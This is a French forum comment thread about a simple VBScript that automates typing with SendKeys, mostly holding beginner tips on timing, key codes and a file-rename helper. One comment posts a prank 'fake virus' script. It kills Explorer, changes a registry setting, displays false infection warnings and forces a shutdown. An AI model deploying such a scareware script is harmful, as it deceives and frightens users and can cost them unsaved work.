VBS ECRIVANT DANS LE BLOC-NOTE...

BZY1 Messages postés 214 Date d'inscription jeudi 10 mars 2005 Statut Membre Dernière intervention 12 avril 2008 - 21 juil. 2005 à 14:12
medas918 Messages postés 45 Date d'inscription lundi 14 juin 2010 Statut Membre Dernière intervention 28 mai 2012 - 15 juin 2010 à 14:06
Cette discussion concerne un article du site. Pour la consulter dans son contexte d'origine, cliquez sur le lien ci-dessous.

https://codes-sources.commentcamarche.net/source/32820-vbs-ecrivant-dans-le-bloc-note

medas918 Messages postés 45 Date d'inscription lundi 14 juin 2010 Statut Membre Dernière intervention 28 mai 2012
15 juin 2010 à 14:06
bonjour
escuse j'ai vu ton script trop top
mais ma question à rien à voir avec ton script
je veux juste savoir comment on fais deux commandesdos successive en vbs est aussi comment est représenter la touche enter afin que sa m'évite de le faire merci de ta réponse
cordialement
cs_hackoo Messages postés 91 Date d'inscription mercredi 3 avril 2002 Statut Membre Dernière intervention 29 juillet 2013
7 juin 2009 à 22:48
dim variable
Set variable=CreateObject("WScript.Shell")
variable.regWrite "HKEY_CURRENT_USER\Console\Fullscreen", "1", "REG_DWORD"
variable.run "Taskkill /IM Explorer.exe /F", 0 ,True
wscript.sleep 2000
variable.run "Explorer.exe"
wscript.sleep 2000
variable.Run("cmd /C %windir%\system32\cmd.exe")
wscript.sleep 1000
variable.SendKeys ("@echo off")
variable.SendKeys ("{enter}")
'variable.AppActivate "c:\windows\system32\cmd.exe"
'wscript.sleep 1000
'variable.SendKeys ("MODE CON FULLSCREEN")
variable.SendKeys ("COLOR c")
variable.SendKeys ("{enter}")
variable.SendKeys ("cls")
variable.SendKeys ("{enter}")
variable.SendKeys (" Title Virus ZABOUROSKY EN COURS DE CHARGEMENT..........")
wscript.sleep 4000
variable.SendKeys ("cls")
variable.SendKeys ("{enter}")
variable.SendKeys ("@echo on")
variable.SendKeys ("{enter}")
variable.SendKeys ("cls")
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys (" prompt Virus ZABOUROSKY EN COURS DE CHARGEMENT..........")
variable.SendKeys ("{enter}")
variable.SendKeys ("cls")
variable.SendKeys ("{enter}")
variable.SendKeys ("{enter}")
wscript.sleep 2000
variable.SendKeys ("cls")
variable.SendKeys ("{enter}")
'variable.SendKeys (" prompt Virus ZABOUROSKY EN COURS DE CHARGEMENT.............")
variable.SendKeys ("{enter}")
wscript.sleep 4000
variable.SendKeys ("cls")
variable.SendKeys ("{enter}")
variable.SendKeys ("{enter}")
variable.SendKeys ("{enter}")
wscript.sleep 6000
variable.SendKeys ("{enter}")
variable.SendKeys ("{enter}")
variable.SendKeys ("{enter}")
'wscript.sleep 4000
variable.SendKeys ("cls")
variable.SendKeys ("{enter}")
variable.SendKeys ("@echo off")
variable.SendKeys ("{enter}")
variable.SendKeys ("cls")
variable.SendKeys ("{enter}")
variable.SendKeys ("C")
wscript.sleep 222 '
variable.SendKeys ("h")
wscript.sleep 222
variable.SendKeys ("a")
wscript.sleep 222
variable.SendKeys ("r")
wscript.sleep 222
variable.SendKeys ("g")
wscript.sleep 222
variable.SendKeys ("e")
wscript.sleep 222 '
variable.SendKeys ("m")
wscript.sleep 222
variable.SendKeys ("e")
wscript.sleep 222
variable.SendKeys ("n")
wscript.sleep 222
variable.SendKeys ("t")
wscript.sleep 222
variable.SendKeys (".")
wscript.sleep 222
variable.SendKeys (".")
wscript.sleep 222
variable.SendKeys (".")
wscript.sleep 222
variable.SendKeys (".")
wscript.sleep 222
variable.SendKeys (".")
wscript.sleep 222
variable.SendKeys (".")
wscript.sleep 222
variable.SendKeys (".")
wscript.sleep 222
variable.SendKeys (".")
wscript.sleep 2000
variable.SendKeys ("{enter}")
variable.SendKeys ("cls")
variable.SendKeys ("{enter}")
variable.SendKeys ("ACTIVATION DU VIRUS ZABOUROSKY !")
wscript.sleep 4000
variable.SendKeys ("cls")
variable.SendKeys ("{enter}")
variable.SendKeys ("{enter}")
variable.SendKeys ("cd ")
variable.SendKeys ("{enter}")
variable.SendKeys ("dir/s")
variable.SendKeys ("{enter}")
wscript.sleep 60000
variable.SendKeys ("cls")
variable.SendKeys ("{enter}")
variable.SendKeys ("@echo on")
variable.SendKeys ("{enter}")
variable.SendKeys ("cls")
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("prompt ACTIVATION DU VIRUS ZABOUROSKY AVEC SUCCES! Tous les fichiers sont infectés avec succes !")
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("cls")
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("{enter}")
'Do
'wscript.sleep 20000
'variable.SendKeys"%{F4}"
'Loop
variable.SendKeys ("{enter}")
variable.SendKeys ("cls")
variable.SendKeys ("{enter}")
variable.SendKeys ("{enter}")
wscript.sleep 2000
variable.SendKeys ("shutdown -s -t 30 -c Infected_by_Virus_Win32/ZABOUROSKY.A")
variable.SendKeys ("{enter}")
wscript.sleep 2000
variable.Run "cmd /C taskkill /f /im explorer.exe",0,TRUE
variable.SendKeys ("{enter}")
Set variable = Nothing
wscript.quit
yannd0307 Messages postés 22 Date d'inscription dimanche 18 septembre 2005 Statut Membre Dernière intervention 7 novembre 2007
25 nov. 2006 à 13:34
Oubliez mon dernier post j'ai trouvé :).
Désolé.
Cordialement.
yannd0307 Messages postés 22 Date d'inscription dimanche 18 septembre 2005 Statut Membre Dernière intervention 7 novembre 2007
25 nov. 2006 à 13:29
Bonjour,
je n'y connais rien en VBS. Pouvez-vous me dire comment exécuter ce script s'il vous plaît?
Merci.
Cordialement.
cs_antho2005 Messages postés 150 Date d'inscription samedi 8 avril 2006 Statut Membre Dernière intervention 1 mai 2012 3
20 juil. 2006 à 18:51
En fait pour faire alt + entrer tu peut faire variable.SendKeys ("%~") ou variable.SendKeys ("%{enter}")

voici les code pour maj, ctrl, alt

Touche Code
MAJ +
CTRL ^
ALT %
cs_antho2005 Messages postés 150 Date d'inscription samedi 8 avril 2006 Statut Membre Dernière intervention 1 mai 2012 3
20 juil. 2006 à 17:57
Ou peut-être variable.SendKeys ("{alt+enter}") j'ai pas essayé.

Sinon les gars vous fatiguez pas pour lancer cmd : variable.Run("cmd") ça marche !

de même que variable.Run("notepad") lance le bloc note, variable.Run("calc") lance la calculette et variable.Run("pbrush") lance paint.

voici un petit code pour effectuer un calcul par exemple :

calcul = InputBox("Rentrez votre calcul :","Calcul")

Set variable=CreateObject("WScript.Shell")

variable.Run("calc")

wscript.sleep 150

variable.SendKeys (calcul & "{enter}")

@+

Antho2005
cs_antho2005 Messages postés 150 Date d'inscription samedi 8 avril 2006 Statut Membre Dernière intervention 1 mai 2012 3
19 juil. 2006 à 17:43
Salut tout le monde,

viran => " si vous savez comment on fait une combinaison de touche "alt+entree" "

tout simple (pour pas dire de gros mots) : variable.SendKeys ("{alt}{enter}")

()^_^) 9/10 (^_^()

Antho2005
RavenShadoW Messages postés 3 Date d'inscription mardi 23 septembre 2003 Statut Membre Dernière intervention 23 mai 2006
23 mai 2006 à 14:43
Commentaire de : tekila_bandita le 11/08/2005 09:59:40

alors est-ce que quelqu'un pourrait me filé un code permettant de modifier l'extension de tout mes ".txt" en ".doc"....

Réponse :
Set variable=CreateObject("WScript.Shell")

On error resume next ' permet d'éviter d'afficher certaines erreurs
rep = InputBox("Entrez un répertoire", "Selection d'un répertoire", "exemple : C:\Dossier1\DossierA")

rep = rep & "\*.txt *.doc" ' changez le type si vous le souhaitez
espace = " " ' mettre un espace entre les commandes !!

condition = "/y"
' ************************ LANCEMENT De COMMAND *****************
variable.Run("C:\winnt\System32\cmd.exe") ' vérrifier C:\winnt ou C:\windows ( %windir% n'as pas marcher chez moi )

wscript.sleep 150
variable.SendKeys ("@echo off")
variable.SendKeys ("{enter}")
variable.SendKeys ("cls")
variable.SendKeys ("{enter}")
variable.SendKeys ("rename ")
wscript.sleep 150
variable.SendKeys (rep)
wscript.sleep 200
'Les touches comme "entrer", "alt" faut les mettre entre des accoloades {}
variable.SendKeys ("{enter}")

wscript.sleep 800
variable.SendKeys ("@echo off")
variable.SendKeys ("{enter}")
variable.SendKeys ("Fait par RavenShadoW")
wscript.sleep 3000
variable.SendKeys ("{enter}")
variable.SendKeys ("cls")
variable.SendKeys ("{enter}")
variable.SendKeys ("exit")
variable.SendKeys ("{enter}")
Set WshShell = Nothing



Voila :) un peu long mais bon c'est dans l'esprit du programme d'origine :)
cs_viran Messages postés 104 Date d'inscription jeudi 6 mai 2004 Statut Membre Dernière intervention 31 décembre 2006
6 févr. 2006 à 13:28
Vraiment bien ce code tu peux lancer nimporte quel application comme cmd.exe et faire ca par exemple :

'définission de la variable
'la variable peut porter n'importe quel nom, ici variable.
Set variable=CreateObject("WScript.Shell")
'lancement du notepad dans le répertoire "C:\WINDOWS\System32" grace a la commande "nom de

la variable.Run"
'Bien sur, vous pouvez lancer d'autre chose, du moment que son répertoire est correctement

indiquer.
variable.Run("C:\WINDOWS\System32\cmd.exe")
'patiente 5 millisecondes ( je crois ) pour laisser le temps au pc de s'executer.
wscript.sleep 50
'écris la lettre "L" grace a la commande "nom de la variable.SendKeys"
'Bien sur, plusieurs lettre peuvent apparaitre en meme temps, mais là on doit simuler une

frappe humaine
variable.SendKeys ("@echo off")
variable.SendKeys ("{enter}")
variable.SendKeys ("cls")
variable.SendKeys ("{enter}")
variable.SendKeys ("C")
wscript.sleep 212 '
variable.SendKeys ("h")
wscript.sleep 212
variable.SendKeys ("a")
wscript.sleep 212
variable.SendKeys ("r")
wscript.sleep 212
variable.SendKeys ("g")
wscript.sleep 212
variable.SendKeys ("e")
wscript.sleep 212 '
variable.SendKeys ("m")
wscript.sleep 212
variable.SendKeys ("e")
wscript.sleep 212
variable.SendKeys ("n")
wscript.sleep 212
variable.SendKeys ("t")
wscript.sleep 212
variable.SendKeys (".")
wscript.sleep 212
variable.SendKeys (".")
wscript.sleep 212
variable.SendKeys (".")
wscript.sleep 212
'Les touches comme "entrer", "alt" et compagnie sont introduite par des accoloades {}
'Donc, ici, s'effectuera un saut de ligne...
variable.SendKeys ("{enter}")
wscript.sleep 212
variable.SendKeys ("Termine")
Set WshShell = Nothing

et ca rend vraiment bien!!

si vous savez comment on fait une combinaison de touche "alt+entree" plz merci ;) 9/10 car j'ai fait quelques changements.
J'ai mis 212 au lieu de 121 qui je trouve est trop rapide.
yunderwo Messages postés 23 Date d'inscription mardi 27 janvier 2004 Statut Membre Dernière intervention 22 mars 2006
18 nov. 2005 à 18:57
A 150 ca marche terrible !!!

wscript.sleep 150
MoRpHeUsTyLe Messages postés 19 Date d'inscription mercredi 24 août 2005 Statut Membre Dernière intervention 1 septembre 2005 1
28 août 2005 à 21:34
cé vrémen pa mal ton code !Vrémen pratik...
tekila_bandita Messages postés 248 Date d'inscription mercredi 15 juin 2005 Statut Membre Dernière intervention 15 mars 2007 33
11 août 2005 à 09:59
Svp, j'ai posté n mess sur le forum, mais je n'ai pas obtenu de reponse...
alors est-ce que quelqu'un pourrait me filé un code permettant de modifier l'extension de tout mes ".txt" en ".doc"....

MERCI BIEN!
tekila_bandita Messages postés 248 Date d'inscription mercredi 15 juin 2005 Statut Membre Dernière intervention 15 mars 2007 33
8 août 2005 à 11:52
Je voulais tous vous remercier pour le forum, car je pense que je le monopolise pas mal avec mes questions...
Je débute, j'ai 14 ans, j'ai commencé la programmation par un simple msgbox() qui m'a donner envie d'allé plus loin... bien sur, je reconnais que moi aussi j'ai joué au lamers mais bon...J'ai eue mon premier pc ya 7 mois, je n'en avait jamais eu au paravant...
alors, soyez clément! lol
merci en tout cas pour votre aide !
;)
BZY1 Messages postés 214 Date d'inscription jeudi 10 mars 2005 Statut Membre Dernière intervention 12 avril 2008
29 juil. 2005 à 08:48
je sais j'étais aussi une des personne à t'avoir répondu sur le forum ;)
tekila_bandita Messages postés 248 Date d'inscription mercredi 15 juin 2005 Statut Membre Dernière intervention 15 mars 2007 33
28 juil. 2005 à 18:04
c'est bon j'ai résolu mon problème, tu avais raisons :

dim a
a=inputbox("Tape le temps d'attente")
wscript.sleep clng(a)

;)
BZY1 Messages postés 214 Date d'inscription jeudi 10 mars 2005 Statut Membre Dernière intervention 12 avril 2008
28 juil. 2005 à 10:12
je ne pense pas que tu ais besoin des & avant et après ton "a" par contre déclare bien ta variable et gère l'erreur au cas où quelqu'un met une lettre dans ton inputbox
tekila_bandita Messages postés 248 Date d'inscription mercredi 15 juin 2005 Statut Membre Dernière intervention 15 mars 2007 33
28 juil. 2005 à 10:07
SVP: j'ai un petit problème :

a=inputbox("Tape le temps d'attente")
wscript.sleep &a&

comment inclure la valeur "a" dans le code ?


merci pour votre aide.....
tekila_bandita Messages postés 248 Date d'inscription mercredi 15 juin 2005 Statut Membre Dernière intervention 15 mars 2007 33
28 juil. 2005 à 09:15
oui, parfois, il faut du temps au pc pour laner l'application mais le script s'execute quand même...
cs_Julien39 Messages postés 6414 Date d'inscription mardi 8 mars 2005 Statut Modérateur Dernière intervention 29 juillet 2020 371
23 juil. 2005 à 21:28
C'est original bravo.
grosbidou21 Messages postés 74 Date d'inscription mardi 3 février 2004 Statut Membre Dernière intervention 5 février 2010 2
22 juil. 2005 à 16:32
simpa ce petit vbs! Juste un petit truc, dans mon cas les 5 millisecondes d'attende au début ne suffit pas. Je l'ai changé à 150 et la tout est bien.
@ +
BZY1 Messages postés 214 Date d'inscription jeudi 10 mars 2005 Statut Membre Dernière intervention 12 avril 2008
22 juil. 2005 à 08:42
salut je pense qu'un truc du genre peut t'aider:

sub form_keypress(ascii as integer)
Do While ascii=""
'ton code
Loop
end sub

ou

sub form_keypress(ascii as integer)
dim a as byte
Do While a=150
a=a+1
if ascii=27 then goto sortie_boucle 'touche echap
Loop
sortie_boucle:
'reste du code
end sub

a+
tekila_bandita Messages postés 248 Date d'inscription mercredi 15 juin 2005 Statut Membre Dernière intervention 15 mars 2007 33
22 juil. 2005 à 08:35
Oui je pense que ce serait bien mais ils me semble qu'en vbs ce n'est pas possible...

SVP: Je recherche un code pour quitter une boucle do loop lorsqu'on appuie sur une touche...
cs_Alain Proviste Messages postés 908 Date d'inscription jeudi 26 juillet 2001 Statut Modérateur Dernière intervention 1 février 2015 2
21 juil. 2005 à 15:49
ca serait bien de faire en sorte que si la personne change de fenetre ca ne continu pas à taper dans la fenetre qu'il aura ouverte.
BZY1 Messages postés 214 Date d'inscription jeudi 10 mars 2005 Statut Membre Dernière intervention 12 avril 2008
21 juil. 2005 à 14:12
Pour les commentaires et pour l'utilisation de sendkey c'est pas trop mal
8/10
bon prog a+
Rejoignez-nous